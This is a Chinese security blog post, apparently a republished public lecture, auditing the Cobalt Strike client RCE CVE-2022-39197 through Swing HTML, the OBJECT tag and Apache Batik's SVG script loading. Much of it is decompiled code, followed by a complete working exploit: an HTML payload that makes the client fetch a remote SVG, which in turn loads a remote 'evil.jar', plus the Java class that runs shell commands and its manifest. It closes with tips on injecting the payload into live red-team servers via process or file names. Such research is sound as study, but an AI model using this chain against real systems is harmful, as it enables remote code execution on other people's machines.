1.背景知识
Cobalt Strike
是一款美国Red Team
开发的渗透测试神器,常被业界人称为CS
。
其最大的特点是可以团战,拥有一个服务端,多个客户端,每个客户端就是一个攻击者,同一个红队团队中的不同攻击者通过cs的服务端进行协同作战,因为其出色的协作能力、以及强大的后渗透功能,深受国内外黑阔朋友的喜爱。
在2022年9月20日,cobaltstrike官方,报告了一个cve,即CVE-2022-39197,明确了cs4.7版本以下的cobalt strike受到该漏洞的影响,该漏洞可以导致攻击者在cs客户端主机上执行任意命令。
今天,我们将从代码审计的角度,带领大家理解这个漏洞,并且从代码审计的角度来分析如何利用这个漏洞来进行攻击者反制。
2.成果展示
我们先秀一下,最终的利用能达成的效果。装个逼先。(此处只有在2022.10.22晚八点参与腾讯会议的朋友体验到了)
3.代码分析篇
0x00 结构分析
├── AggressorScripts-master
├── CobaltStrikeCN.jar
├── agscript
├── agscript.bat
├── c2lint
├── c2lint.bat
├── cobaltstrike
├── cobaltstrike.auth
├── cobaltstrike.bat
├── cobaltstrike.jar
├── cobaltstrike.store
├── data
├── peclone
├── peclone.bat
├── teamserver
├── teamserver.bat
└── third-party
4 directories, 14 files
如上图,这是一份cs程序的典型结构,主要的程序逻辑都在cobaltstrike.jar文件中。
我们知道jar是java代码编译打包的结果,所以我们把这次cobalt strike的rce当成是一次java代码审计课来讲。
0x01 代码反编译
我们知道,java代码,一般是被编译成字节码,然后用jvm虚拟机来执行字节码的。
并且,java字节码是可以反编译的,这就是进行java代码审计的基础。java字节码反编译,一般用如下工具:
1.jd-gui(http://java-decompiler.github.io/)
2.java-decompiler
比如我们可以这样打开cs的jar包进行代码审计。
不过jd-gui有一个缺陷,那就是对代码跟踪、查找等等方面,不如ide好用。所以还有另一种方式。
用java-decompiler,这个是我从stack-overflow扒下来的,具体哪里下载我也忘记了(据说是有老外从idea里面扒下来的),主要功能就是输入一个jar包,按照包解压jar包并批量反编译成java文件。并且我还写了一个小shell脚本来调用,我们看下使用效果。
1.echo $1
2.jar=$1
3.jar_path=${jar%.jar}
4.file=${jar##*/}
5.folder=${jar_path##*/}
6.echo $folder
7.echo $file
8.mkdir -p $folder/jar
9.mkdir -p $folder/src
10.java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true $jar $folder/jar/
11.unzip $folder/jar/$file -d $folder/src
这样,我们就能通过idea这样的ide来进行代码审计了,比较顺手一点。
0x02 入手第一步
整个cs项目,数万行代码,怎么入手呢审这个漏洞呢?直接硬看肯定不合理。我们先看看官方怎么描述这个漏洞。
https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39197
通过cve官网或者cs的官网,都清晰表述出这是一个跟html、xss相关的漏洞。
而我们知道,cs是一款基于swing开发的java gui程序,所以我们可以很快想到先去google检索相关信息。
https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
这里有讲到,如何在swing框架里面嵌入并且执行html代码。
我们来试试吧。
点这里下载官方demo。并且我们可以注意到一句话。
To specify that a component's text has HTML formatting, just put the <html> tag at the beginning of the text, then use any valid HTML in the remainder. Here is an example of using HTML in a button's text:
button = new JButton("<html><b><u>T</u>wo</b><br>lines</html>");
要指定组件的文本具有 HTML 格式,只需将 <html> 标签放在文本的开头,然后在其余部分使用任何有效的 HTML。
从这里我们知道,只要我们能够控制任何一个组件的开头(从开头处开始填充数据),我们就能够在swing中执行html代码。
0x03 从执行html到特定类调用
那么,我们现在已经能执行html了,我们是否可以执行一些xss之类的呢?比如script标签,答案是不行,具体为什么,还是得看代码。
具体的可以定位到javax/swing/text/html/HTMLEditorKit.class文件(至于为什么要定位到这个文件,都是java动态调试的结果,具体如何动态调试,可以看本公开课相关的录屏)
有一个HTML的工厂类叫HTMLFactory
在这里可以大致看到他都是在处理跟html标签相关的逻辑,也就是不同的标签,会进入到不同的代码逻辑里面。
这里也可以看到,一些比较敏感或者不相关的标签,都会被隐藏掉。
所以我们接下来的工作,就是在可以插入的标签里面,寻找那些可以用来执行进一步操作的标签。(现在我们的权限是近似于能够执行html代码,我们希望能够执行js或者java代码来获取更高的灵活度)
经过一些寻找,我们找到了OBJECT标签。
/**
* Tag <object>
*/
public static final Tag OBJECT = new Tag("object");
else if (kind == HTML.Tag.OBJECT) {
return new ObjectView(elem);
} else if (kind == HTML.Tag.FRAMESET) {
if (elem.getAttributes().isDefined(HTML.Attribute.ROWS)) {
return new FrameSetView(elem, View.Y_AXIS);
} else if (elem.getAttributes().isDefined(HTML.Attribute.COLS)) {
return new FrameSetView(elem, View.X_AXIS);
}
throw new RuntimeException("Can't build a" + kind + ", " + elem + ":" +
"no ROWS or COLS defined.");
} else if (kind == HTML.Tag.FRAME) {
return new FrameView(elem);
}
我们来看一下这个OBJECT标签的定义和描述
/**
* Component decorator that implements the view interface
* for <object> elements.
* <p>
* This view will try to load the class specified by the
* <code>classid</code> attribute. If possible, the Classloader
* used to load the associated Document is used.
这个视图将会尝试载入一个用classid指定的类class。
* This would typically be the same as the ClassLoader
* used to load the EditorKit. If the document's
* ClassLoader is null, <code>Class.forName</code> is used.
* <p>
* If the class can successfully be loaded, an attempt will
* be made to create an instance of it by calling
如果载入成功(能找到这个类),将会尝试对这个类实例化一个新对象--》这是什么意思,妥妥的反射呀,难道我们能实例化任何一个类?那不就直接rce啦?
* <code>Class.newInstance</code>. An attempt will be made
* to narrow the instance to type <code>java.awt.Component</code>
* to display the object.
* <p>
* This view can also manage a set of parameters with limitations.
* The parameters to the <object> element are expected to
* be present on the associated elements attribute set as simple
* strings. Each bean property will be queried as a key on
* the AttributeSet, with the expectation that a non-null value
* (of type String) will be present if there was a parameter
* specification for the property. Reflection is used to
* set the parameter. Currently, this is limited to a very
* simple single parameter of type String.
* <p>
* A simple example HTML invocation is:
<object classid="javax.swing.JLabel">
<param name="text" value="sample text">
</object>
在这里还贴心地给了一个使用方法。我们还是先阅读一下代码。
*
* @author Timothy Prinzing
*/
public class ObjectView extends ComponentView {
/**
* Creates a new ObjectView object.
*
* @param elem the element to decorate
*/
public ObjectView(Element elem) {
super(elem);
}
/**
* Create the component. The classid is used
* as a specification of the classname, which
* we try to load.
*/
@SuppressWarnings("deprecation")
protected Component createComponent() {
AttributeSet attr = getElement().getAttributes();
String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID); //获取classid参数
try {
ReflectUtil.checkPackageAccess(classname);
Class<?> c = Class.forName(classname, true,Thread.currentThread().
getContextClassLoader()); //通过反射查找这个类是否存在
Object o = c.newInstance(); //实例化一个对象
if (o instanceof Component) { //该对象必须是Component的实现
Component comp = (Component) o;
setParameters(comp, attr); //进行参数设置
return comp;
}
} catch (Throwable e) {
// couldn't create a component... fall through to the
// couldn't load representation.
}
return getUnloadableRepresentation();
}
/**
* Fetch a component that can be used to represent the
* object if it can't be created.
*/
Component getUnloadableRepresentation() {
// PENDING(prinz) get some artwork and return something
// interesting here.
Component comp = new JLabel("??");
comp.setForeground(Color.red);
return comp;
}
/**
* Initialize this component according the KEY/VALUEs passed in
* via the <param> elements in the corresponding
* <object> element.
*/
private void setParameters(Component comp, AttributeSet attr) {
Class<?> k = comp.getClass(); //根据组件找到具体的类
BeanInfo bi;
try {
bi = Introspector.getBeanInfo(k);
} catch (IntrospectionException ex) {
System.err.println("introspector failed, ex: "+ex);
return; // quit for now
}
PropertyDescriptor[] props = bi.getPropertyDescriptors(); //找到该类的所有属性
for (int i=0; i < props.length; i++) {
// System.err.println("checking on props[i]: "+props[i].getName());
Object v = attr.getAttribute(props[i].getName()); //循环遍历所有属性,检查是否在要设置的attr中
if (v instanceof String) { //要求该参数是个字符串
// found a property parameter
String value = (String) v;
Method writer = props[i].getWriteMethod(); //检查该属性是否可写(其实就是检测是否有setXXX方法)
if (writer == null) {
// read-only property. ignore
return; // for now
}
Class<?>[] params = writer.getParameterTypes();
if (params.length != 1) { //检查该属性的setXXX方法是不是只有一个入参
// zero or more than one argument, ignore
return; // for now
}
Object [] args = { value };
try {
MethodUtil.invoke(writer, comp, args); //调用该setXXX方法来设置参数。
} catch (Exception ex) {
System.err.println("Invocation failed");
// invocation code
}
}
}
}
}
我们来总结下OBJECT标签能做到的事情。
1.通过反射实例化一个类,该类必须是Component类的实现
2.可以通过setXXX修改该类的XXX属性,并且setXXX的参数必须只有一个,且输入的参数只能是字符串
我们来找找符合要求的类
通过IDEA,我们可以很方便地找到Component的实现类(记得在查找之前,将cobaltstrike.jar作为第三方库导入到idea中,这样才能方便查找)
我们可以看到结果不少,但是主要集中于jdk自带的库里面,这种我们一般可以排除,因为从本次的漏洞情况来看,更像是cs跟哥斯拉才有的,如果是jdk库中的漏洞,那么所有使用了swing库的项目都会有这个漏洞(当然,不排除jdk库中也有可以利用的类,只是目前没有人挖掘到而已)
在后面的正式培训课程中,我们会讲述如何用codeQL、tabby这一类专业化的工具来进行条件筛选,帮助我们快速筛查出符合要求的类。(当然也可以一步一步看过去,或者自己开发小脚本来进行剔除,我本次就是快速看过去找到的)
在这里我们就简略一点,直接定位到本次的目标类
public class JSVGCanvas extends JSVGComponent {
public static final String SCROLL_RIGHT_ACTION = "ScrollRight";
public static final String SCROLL_LEFT_ACTION = "ScrollLeft";
public static final String SCROLL_UP_ACTION = "ScrollUp";
public static final String SCROLL_DOWN_ACTION = "ScrollDown";
public static final String FAST_SCROLL_RIGHT_ACTION = "FastScrollRight";
public static final String FAST_SCROLL_LEFT_ACTION = "FastScrollLeft";
public static final String FAST_SCROLL_UP_ACTION = "FastScrollUp";
public static final String FAST_SCROLL_DOWN_ACTION = "FastScrollDown";
public static final String ZOOM_IN_ACTION = "ZoomIn";
public static final String ZOOM_OUT_ACTION = "ZoomOut";
public static final String RESET_TRANSFORM_ACTION = "ResetTransform";
private boolean isZoomInteractorEnabled;
private boolean isImageZoomInteractorEnabled;
private boolean isPanInteractorEnabled;
private boolean isRotateInteractorEnabled;
private boolean isResetTransformInteractorEnabled;
protected PropertyChangeSupport pcs;
protected String uri;
protected JSVGCanvas.LocationListener locationListener;
protected Map toolTipMap;
protected EventListener toolTipListener;
protected EventTarget lastTarget;
protected Map toolTipDocs;
protected static final Object MAP_TOKEN = new Object();
protected long lastToolTipEventTimeStamp;
protected EventTarget lastToolTipEventTarget;
protected Interactor zoomInteractor;
protected Interactor imageZoomInteractor;
protected Interactor panInteractor;
protected Interactor rotateInteractor;
protected Interactor resetTransformInteractor;
...
...
...
public void setURI(String var1) {
String var2 = this.uri;
this.uri = var1;
if (this.uri != null) {
this.loadSVGDocument(this.uri);
} else {
this.setSVGDocument((SVGDocument)null);
}
this.pcs.firePropertyChange("URI", var2, this.uri);
}
我们可以看到这个类,有一个uri属性,并且有一个setURI的方法,并且该方法的入参只有一个string类型,完全符合要求。
我们现在来试试调用这个类。
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://192.168.101.15:8000/qaxnb">
如果能有访问,说明我们调用这个类成功了。
确定到这一步是ok的
0x04 从svg引入到代码执行(GG)
先看看引入svg的代码怎么写的
public void loadSVGDocument(String var1) {
String var2 = null;
if (this.svgDocument != null) {
var2 = this.svgDocument.getURL();
}
final ParsedURL var3 = new ParsedURL(var2, var1);
this.stopThenRun(new Runnable() {
public void run() {
String var1 = var3.toString();
AbstractJSVGComponent.this.fragmentIdentifier = var3.getRef();
AbstractJSVGComponent.this.loader = new DocumentLoader(AbstractJSVGComponent.this.userAgent);
AbstractJSVGComponent.this.nextDocumentLoader = new SVGDocumentLoader(var1, AbstractJSVGComponent.this.loader);
AbstractJSVGComponent.this.nextDocumentLoader.setPriority(1);
Iterator var2 = AbstractJSVGComponent.this.svgDocumentLoaderListeners.iterator();
while(var2.hasNext()) {
AbstractJSVGComponent.this.nextDocumentLoader.addSVGDocumentLoaderListener((SVGDocumentLoaderListener)var2.next());
}
AbstractJSVGComponent.this.startDocumentLoader();
}
});
}
这一段代码有点复杂了,顺便提一嘴,我实在讨厌java,太繁琐了,开发太慢了。辣鸡。
但是呢,如果你是一个老web手,或者搞过web安全,你应该马上就能想到,svg是能够引入script脚本能执行js代码的,所以我当时调试就是朝着这个方向去想。
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://192.168.101.15:8000/evil.svg">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" height="190">
<script>alert("qaxnb")</script>
</svg>
但是运行却报错了,
我们可以看到,这里报的是NoClassDefFoundError,这是一个runtime error(运行时错误),一般就是运行时,通过反射去获取一个类找不到的时候,就会报这个错误,类似于上面那个objectView的动态调用一个已知类,如果类不存在(没有被打包进jar里面),就会报这个错误,
在这里出现这个错误的原因大概率就是cobalt strike的代码里面没有包含这么一个库,也就是没有一个js的解析器来执行js代码,导致我们这个地方gg了。
0x05 从svg引入到代码执行(成功)
在这个地方卡了很久,另外因为cs在打包的时候做了保护,导致我们没办法动态调试cs的代码,只能静态去审计(这也是代码审计中经常遇到的问题),在这里采取的办法只能是根据调用链一个一个函数去看,看看有没有有撸点的地方。好在runtime error会把调用链print出来。
从调用链里面我们能看到一个关键函数org.apache.batik.bridge.BaseScriptingEnvironment.loadScripts从函数名称,loadScripts,导入脚本,看着就很有撸点。
public void loadScripts() {
org.apache.batik.script.Window var1 = null;
NodeList var2 = this.document.getElementsByTagNameNS("http://www.w3.org/2000/svg", "script");
int var3 = var2.getLength();
if (var3 != 0) {
for(int var4 = 0; var4 < var3; ++var4) {
AbstractElement var5 = (AbstractElement)var2.item(var4);
String var6 = var5.getAttributeNS((String)null, "type");
if (var6.length() == 0) {
var6 = "text/ecmascript";
}
String var13;
if (var6.equals("application/java-archive")) {
try {
String var24 = XLinkSupport.getXLinkHref(var5);
ParsedURL var25 = new ParsedURL(var5.getBaseURI(), var24);
this.checkCompatibleScriptURL(var6, var25);
URL var29 = null;
try {
var29 = new URL(this.docPURL.toString());
} catch (MalformedURLException var18) {
}
DocumentJarClassLoader var26 = new DocumentJarClassLoader(new URL(var25.toString()), var29);
URL var28 = var26.findResource("META-INF/MANIFEST.MF");
if (var28 != null) {
Manifest var30 = new Manifest(var28.openStream());
var13 = var30.getMainAttributes().getValue("Script-Handler");
if (var13 != null) {
ScriptHandler var35 = (ScriptHandler)var26.loadClass(var13).newInstance();
if (var1 == null) {
var1 = this.createWindow();
}
var35.run(this.document, var1);
}
var13 = var30.getMainAttributes().getValue("SVG-Handler-Class");
if (var13 != null) {
EventListenerInitializer var36 = (EventListenerInitializer)var26.loadClass(var13).newInstance();
if (var1 == null) {
var1 = this.createWindow();
}
var36.initializeEventListeners((SVGDocument)this.document);
}
}
} catch (Exception var20) {
if (this.userAgent != null) {
this.userAgent.displayError(var20);
}
}
} else {
Interpreter var7 = this.getInterpreter(var6);
if (var7 != null) {
try {
String var8 = XLinkSupport.getXLinkHref(var5);
String var9 = null;
Object var10 = null;
if (var8.length() > 0) {
var9 = var8;
ParsedURL var11 = new ParsedURL(var5.getBaseURI(), var8);
this.checkCompatibleScriptURL(var6, var11);
InputStream var12 = var11.openStream();
var13 = var11.getContentTypeMediaType();
String var14 = var11.getContentTypeCharset();
if (var14 != null) {
try {
var10 = new InputStreamReader(var12, var14);
} catch (UnsupportedEncodingException var19) {
var14 = null;
}
}
if (var10 == null) {
if ("application/ecmascript".equals(var13)) {
if (var11.hasContentTypeParameter("version")) {
continue;
}
PushbackInputStream var15 = new PushbackInputStream(var12, 8);
byte[] var16 = new byte[4];
int var17 = var15.read(var16);
if (var17 > 0) {
var15.unread(var16, 0, var17);
if (var17 >= 2) {
if (var16[0] == -1 && var16[1] == -2) {
if (var17 >= 4 && var16[2] == 0 && var16[3] == 0) {
var14 = "UTF32-LE";
var15.skip(4L);
} else {
var14 = "UTF-16LE";
var15.skip(2L);
}
} else if (var16[0] == -2 && var16[1] == -1) {
var14 = "UTF-16BE";
var15.skip(2L);
} else if (var17 >= 3 && var16[0] == -17 && var16[1] == -69 && var16[2] == -65) {
var14 = "UTF-8";
var15.skip(3L);
} else if (var17 >= 4 && var16[0] == 0 && var16[1] == 0 && var16[2] == -2 && var16[3] == -1) {
var14 = "UTF-32BE";
var15.skip(4L);
}
}
if (var14 == null) {
var14 = "UTF-8";
}
}
var10 = new InputStreamReader(var15, var14);
} else {
var10 = new InputStreamReader(var12);
}
}
} else {
this.checkCompatibleScriptURL(var6, this.docPURL);
DocumentLoader var27 = this.bridgeContext.getDocumentLoader();
SVGDocument var31 = (SVGDocument)var5.getOwnerDocument();
int var34 = var27.getLineNumber(var5);
var9 = Messages.formatMessage("BaseScriptingEnvironment.constant.inline.script.description", new Object[]{var31.getURL(), "<" + var5.getNodeName() + ">", new Integer(var34)});
Node var32 = var5.getFirstChild();
if (var32 == null) {
continue;
}
StringBuffer var33;
for(var33 = new StringBuffer(); var32 != null; var32 = var32.getNextSibling()) {
if (var32.getNodeType() == 4 || var32.getNodeType() == 3) {
var33.append(var32.getNodeValue());
}
}
var10 = new StringReader(var33.toString());
}
var7.evaluate((Reader)var10, var9);
} catch (IOException var21) {
if (this.userAgent != null) {
this.userAgent.displayError(var21);
}
return;
} catch (InterpreterException var22) {
System.err.println("InterpExcept: " + var22);
this.handleInterpreterException(var22);
return;
} catch (SecurityException var23) {
if (this.userAgent != null) {
this.userAgent.displayError(var23);
}
}
}
}
}
}
}
这个函数代码量还是比较长,我们来逐步梳理下
NodeList var2 = this.document.getElementsByTagNameNS("http://www.w3.org/2000/svg", "script");
首先从this.document属性去获取标签为script的对象列表,而document显而易见来源于我们输入的svg。
因为前面svg的构建过程中,函数名称就叫loadSVGDocument,所以你可以理解为,我们输入的那串html文本里面的svg标签,已经在这里被实例化成了一个svgDocument对象了,并且被赋值成this.document了。
for(int var4 = 0; var4 < var3; ++var4) {
AbstractElement var5 = (AbstractElement)var2.item(var4);
String var6 = var5.getAttributeNS((String)null, "type");
if (var6.length() == 0) {
var6 = "text/ecmascript";
}
然后开始遍历script对象列表,var5就是每一个script对象,var6是获取每个script对象的type值,并且我们可以看到,如果没有type,type就被赋值成了text/ecmascript。这也是我们上面那个案例里面走的流程。现在我们已经确定这个分支走不通了,所以我们就得想想办法,通过赋予不同的type,让他走到不同的分支里面。
这里我们就能看到,如果我们将type赋值成application/java-archive就能走进这个分支里面。然后我们再来梳理这个分支做了什么。(其实看名字就能猜出能引入一个外部的jar包,毕竟java-archive就是jar的文件MIME类型)
if (var6.equals("application/java-archive")) {
try {
String var24 = XLinkSupport.getXLinkHref(var5); //读取xlink:href属性的内容
ParsedURL var25 = new ParsedURL(var5.getBaseURI(), var24); //字符串转URL对象,问题不大
this.checkCompatibleScriptURL(var6, var25); //一些简单的格式校验,问题不大
URL var29 = null;
try {
var29 = new URL(this.docPURL.toString());
} catch (MalformedURLException var18) {
}
DocumentJarClassLoader var26 = new DocumentJarClassLoader(new URL(var25.toString()), var29); //将远程url的jar转成一个对象,直接理解为导入了一个远程的jar包
URL var28 = var26.findResource("META-INF/MANIFEST.MF"); //读取jar包中的META-INF/MANIFEST.MF清单文件路径(确认是否储存在)
if (var28 != null) {
Manifest var30 = new Manifest(var28.openStream()); //转化成对象
var13 = var30.getMainAttributes().getValue("Script-Handler"); //获取Script-Handler键的名称(类名)
if (var13 != null) {
ScriptHandler var35 = (ScriptHandler)var26.loadClass(var13).newInstance(); //又是通过反射来进行动态调用,创建了一个新对象!!!!
if (var1 == null) {
var1 = this.createWindow();
}
var35.run(this.document, var1);
}
var13 = var30.getMainAttributes().getValue("SVG-Handler-Class");
if (var13 != null) {
EventListenerInitializer var36 = (EventListenerInitializer)var26.loadClass(var13).newInstance();
if (var1 == null) {
var1 = this.createWindow();
}
var36.initializeEventListeners((SVGDocument)this.document);
}
}
} catch (Exception var20) {
if (this.userAgent != null) {
this.userAgent.displayError(var20);
}
}
}
至此,我们可以看到通过引入svg,并且在svg脚本中嵌入script标签,并且该标签的type是application/java-archive,我们就能让cs引入一个外部的恶意jar包,并且我们能够指定cs去执行我们编写在jar包中的代码(实例化对象),通过这么一系列利用,来完成代码执行。
payload:
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://192.168.101.15:8000/evil.svg">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" height="190">
<script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://192.168.101.15:8000/evil.jar"></script>
</svg>
0x06 恶意类构建
直接贴代码吧,很简单的代码,没什么好讲的其实。
import java.io.IOException;
import org.apache.batik.script.ScriptHandler;
import org.apache.batik.script.Window;
import org.w3c.dom.Document;
public class evil implements ScriptHandler{
public evil(){
try{
String OS = System.getProperty("os.name").toLowerCase();
if (OS.indexOf("mac")>=0){
System.out.println("mac");
Runtime.getRuntime().exec("open -na Calculator");
}else if(OS.indexOf("windows")>=0){
System.out.println("windows");
Runtime.getRuntime().exec("calc.exe");
}else{
System.out.println("linux");
}
}catch (IOException e){
e.printStackTrace();
}
}
@Override
public void run(Document document, Window window) {
}
}
Manifest-Version: 1.0
Script-Handler: evil
4.实战日穿cs
刚才都是理论基础,貌似我们讲了很久,都跟cs没啥关系。
但是要实战日穿cs,要考虑payload长度,要考虑交互性,这是最麻烦的点。
payload长度限制
我们先回顾下我们的payload
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://192.168.101.15:8000/evil.svg">
大概需要是120个字节,即便是uri那边缩减一点,也不会小于100个字节。这就限制了我们不能完成0click。(具体网上有详细原因,要了解cs的通信原理,此处略过,如果后面有需求,可以放在培训课里面讲)
所以我们只能去其他地方找找有没有能插入html代码的地方。
比如,文件名:
比如,进程名:
真交互限制
真交互限制指的就是,如何上线一个cs🐎到攻击者的teamserver,因为如果不能上线,就不能把后续的payload信息插入到进程名、文件名等等里面去。
目前网上公开的采取的都是通过类似frida之类的进程api hook工具,真实去执行一个攻击者的beacon.exe,然后,将文件名、进程名改动成攻击payload进行反制。
这里我使用的是更轻量、更高级的办法。(网上其他师傅没公开不代表人家没做,这里没有贬低之意,但是从效果而言,肯定是协议模拟更优雅、更赛博朋克一点)
来源于我们内部开发的cs攻击压制干扰工具,我用这个工具可以直接上线cs(并没有真实执行一个木马,只需要知道cs木马回连的ip、端口),然后再在中间插入我们的payload即可。(具体的展示,全部在本次公开课的录屏里面)
工具这里不方便公开,但是可以提供思路大家自己去实现。思路就是去研究cs的通信协议,了解加密解密过程就好了。具体可以看cobaltstrike.jar里面的代码。
5.参考资料
1.https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
2.https://mp.weixin.qq.com/s/89wXyPaSn3TYn4pmVdr-Mw
3.https://securityintelligence.com/posts/analysis-rce-vulnerability-cobalt-strike
6.附件下载
本次公开课的相关资料领取(包括两款java反编译工具、公开课录屏回放、本文档pdf、evil代码项目案例)。
领取方式:关注公众号“赛博捉虫”或Th0r安全,后台回复“csrce公开课”领取。
另外,内部cobalt strike攻击压制干扰工具:这个是不会公开的。添加vx:dadasec
原文始发于微信公众号(Th0r安全):Cobalt Strike通杀RCE代码审计公开课
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论